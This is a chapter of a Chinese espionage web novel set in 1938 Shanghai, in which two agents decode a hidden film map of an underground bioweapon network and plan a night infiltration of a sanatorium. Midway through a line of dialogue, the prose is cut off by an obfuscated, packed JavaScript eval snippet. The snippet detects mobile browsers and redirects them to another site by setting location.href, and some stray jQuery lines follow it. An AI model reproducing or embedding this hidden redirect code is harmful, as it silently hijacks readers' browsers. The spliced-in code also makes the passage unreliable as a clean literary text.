一九三八年五月十七日,上午十一时,“平安”钟表行阁楼
油纸包被摊开在阁楼唯一那张摇摇晃晃的小木桌上,旁边摆着老潘工作间里找来的一个浅口白瓷碟,一碟清水,还有一小瓶气味刺鼻的显影药水——这是老潘早年玩摄影时剩下的,藏在布满灰尘的工具箱最底层。
阳光从气窗斜射进来,恰好照亮方寸桌面,空气中的浮尘在光柱里狂舞。顾沉舟用镊子夹起那片火柴盒大小、薄如蝉翼的褐色胶片,小心地放入瓷碟清水中浸润片刻,然后用更细的毛笔尖蘸取药水,极其均匀地涂抹在胶片表面。
昭华靠坐在床沿,目光紧盯着那片看似空白的胶片。手腕上被沈明瑜眼泪滴落过的地方残留着一丝异样的、不属于冰冷身体的微温,让她感到莫名的烦躁。体内的幽蓝物质对那点微温毫无反应,依旧死寂,但这种“无关紧要”的触感本身,却比任何生理刺激更让她心神不宁。
药水与胶片接触的瞬间,神奇的变化发生了。原本空无一物的褐色底片上,开始浮现出极其细微、密密麻麻的线条和符号,如同魔法般从虚无中生长出来。首先是坐标数字,采用了一种混合经纬度和局部网格的复合标注法;接着是简略却精准的平面示意图,勾勒出地下空间的轮廓、通道走向、房间标识;最后是一些用德文和日文片假名混合标注的简短注释,以及几组看似毫无规律的、像是密码的数字和字母组合。
顾沉舟屏住呼吸,用放大镜一寸寸仔细检视。胶片上的信息量惊人,远超预期。不仅标明了沈明瑜所说的“惠仁疗养院地下二层废弃标本室通风口”的精确位置和开启方法,还额外提供了至少另外三处关键节点的坐标——一处位于公共租界早期建造的、现已废弃的邮政总局地下保险库附近;一处指向闸北毗邻苏州河的一段古老防洪墙基深处;最后一处,也是最核心的,竟标注在法租界边缘、靠近徐家汇天主教堂地下墓穴群的某个特定区域。
这些节点之间,用虚线连接,隐约构成一个以“惠仁”为起点、向城市不同方向辐射、最终似乎又隐隐汇聚的隐秘网络。这与陈默言之前根据旧图纸推测的、可能存在但未能证实的“地下通道网络”惊人地吻合,并且更加具体、深入。
而那些德日文注释,虽然简短,却触目惊心:
“初始样本储存点 A-7(温度敏感型)”
“神经调制信号中继站 B-3(备用)”
“钥匙-锁 共鸣实验场(预设,未激活)”
“涅槃协议触发点候选 Alpha, Beta…”
“钥匙-锁 共鸣实验场”、“涅槃协议触发点”——这些词句冰冷地证实了沈明瑜关于“凤凰涅槃”的警告并非虚言。
顾沉舟的目光最终停留在胶片一角,用特殊墨水留下的一行娟秀小字,是中文:
“姐姐,顺着血的味道走,但别信眼睛看到的全部。明瑜。”
“顺着血的味道走”……是指她体内的幽蓝物质?还是另有所指? “别信眼睛看到的全部”……是提醒陷阱,还是暗示情报本身就有问题?
顾沉舟直起身,眉头紧锁,陷入了沉思。胶片提供的情报价值毋庸置疑,但其中蕴含的风险和谜团也同样深重。沈明瑜是真心寻求逃生,还是奉命抛出诱饵?这胶片本身,是否就是“涅槃”计划的一部分,旨在将他们引入预设的陷阱或实验场?
“你怎么看?”他将目光投向昭华。
昭华缓缓站起身,走到桌边,低头凝视着胶片上那些冰冷的线条和文字。她的指尖轻轻拂过“钥匙-锁 共鸣实验场”那几个字,体内沉寂的幽蓝物质似乎毫无反应,但她能感觉到一种更深层的、源自本能的不安。
“信息很可能是真的。”她开口,声音低沉,“至少,关于网络节点和早期样本储存的部分,逻辑上能和她之前透露的、以及我们掌握的情报串联起来。伪造这样一份详尽且能部分验证的地图,需要极高的成本和对我们已掌握信息的精准了解,‘渡鸦’未必会为了设一个不确定的陷阱而付出这么多。”
“但‘涅槃协议触发点’和‘共鸣实验场’的标注,也可能是在引导我们走向预设的决战地点。”顾沉舟指出关键风险。
“所以我们需要验证,但不止验证她给出的‘定金’。”昭华抬起头,眼神冷静得可怕,“我们还需要主动权。不能完全跟着她的节奏走。”
“你的意思是?”
“她想要‘消失’,想要活命。这就是她最大的弱点,也是我们最大的筹码。”昭华的目光落在“初始样本储存点 A-7”的标注上,“她给了我们地图,但未必给了我们所有‘钥匙’。进入这些地方,尤其是储存原始菌株和实验日志的核心区域,可能还需要特定的生物识别、密码、或者……像我这样的‘活体钥匙’的特殊反应。她没说,也许是留一手,也许是她自己也不知道全部。”
顾沉舟立刻明白了她的思路:“你是说,我们可以利用她去‘探路’或‘开门’,用她来验证更深层的陷阱,同时获取我们单独行动无法得到的关键信息?甚至……在必要时,将她作为与‘渡鸦’或秋吉周旋的另一个筹码?”
这是一个极其冷酷、甚至残忍的计划。利用沈明瑜求生的欲望,将她作为探路的卒子和潜在的牺牲品。
昭华沉默了片刻,眼中闪过一丝极其复杂的痛苦,但很快被更坚硬的冰层覆盖。“是她先提出的交易。在这场游戏里,没有无辜者。她想活,我们也要活,还要阻止更大的灾难。如果她的情报能帮我们找到中止‘涅槃’的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070566|195200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方法,救更多的人,那么……利用一切可利用的,包括她,包括我自己,都是必要的代价。”
她的话像淬火的钢铁,冰冷而坚硬。顾沉舟看着她,仿佛看到了她内心深处那座正在被残酷现实不断加固的冰山。他点了点头,没有评价对错,战争和谍报本就无关道德,只有生存与胜负。
“那么,第一步,”顾沉舟将注意力拉回现实,“验证‘惠仁’地下那份秋吉的私人记录副本。如果属实,不仅能确认胶片的部分真实性,还可能获取关于‘钥匙’培养的更多信息,这对你至关重要。”
“需要‘穿山甲’或者秦岳的人协助吗?”昭华问。潜入戒备森严的“惠仁”地下,绝非易事。
顾沉舟摇头:“‘穿山甲’行踪不定,秦岳那边……在龙华行动结果明确之前,不宜过多接触,以免节外生枝。这次,我们自己去。”
“你的伤?”昭华看向顾沉舟身上那些尚未完全愈合的擦伤和淤青。
“无碍。”顾沉舟活动了一下肩膀,“老潘这里还有些工具可以借用。关键是计划和时机。”
他再次俯身,仔细研究胶片上关于“惠仁”地下二层那个通风口的标注。入口位于疗养院主体建筑后部,靠近锅炉房与杂物堆放区之间一个极其隐蔽的天井底部,被废弃的花盆和建筑垃圾掩盖。通风管道本身是早期建筑遗留,直径勉强容一人通过,内部有锈蚀的铁爬梯,通往地下二层一个早已停用、堆满废弃标本瓶和福尔马林池的房间上方。
“时间定在今晚后半夜,凌晨两点到四点之间。那是人体最疲惫、警戒最可能松懈的时段。”顾沉舟迅速做出判断,“我们需要更详细的疗养院今晚的守卫巡逻规律,这个可能需要老潘帮忙,看看他有没有办法从附近店铺伙计或更夫那里打听到一些日常规律。另外,还需要准备攀爬工具、照明、防毒面具以及最重要的——一旦进入,如何快速找到并阅读那份记录,然后不留痕迹地撤离。”
计划迅速成型。利用沈明瑜提供的情报,进行一次高风险、高回报的验证性潜入。
昭华没有异议。她走到气窗前,望向外面梧桐掩映的街道。阳光下的一切看起来平静而遥远,但地下深处,黑暗的网络正在悄然运作,致命的倒计时或许已经开始。
妹妹的脸,带着泪痕和恐惧,再次浮现在脑海。那句“我想活”的哀求,像一根细刺,扎在心里最柔软、却也最不敢触碰的地方。
她握紧了拳头,指甲深深陷入掌心,带来一丝尖锐的疼痛,压下了心头翻涌的复杂情绪。
在这场以城市为棋盘、以无数生命为赌注的终极博弈中,亲情、信任、乃至人性本身,都成了需要仔细权衡、有时甚至必须亲手割舍的筹码。
而他们,已经押上了所有。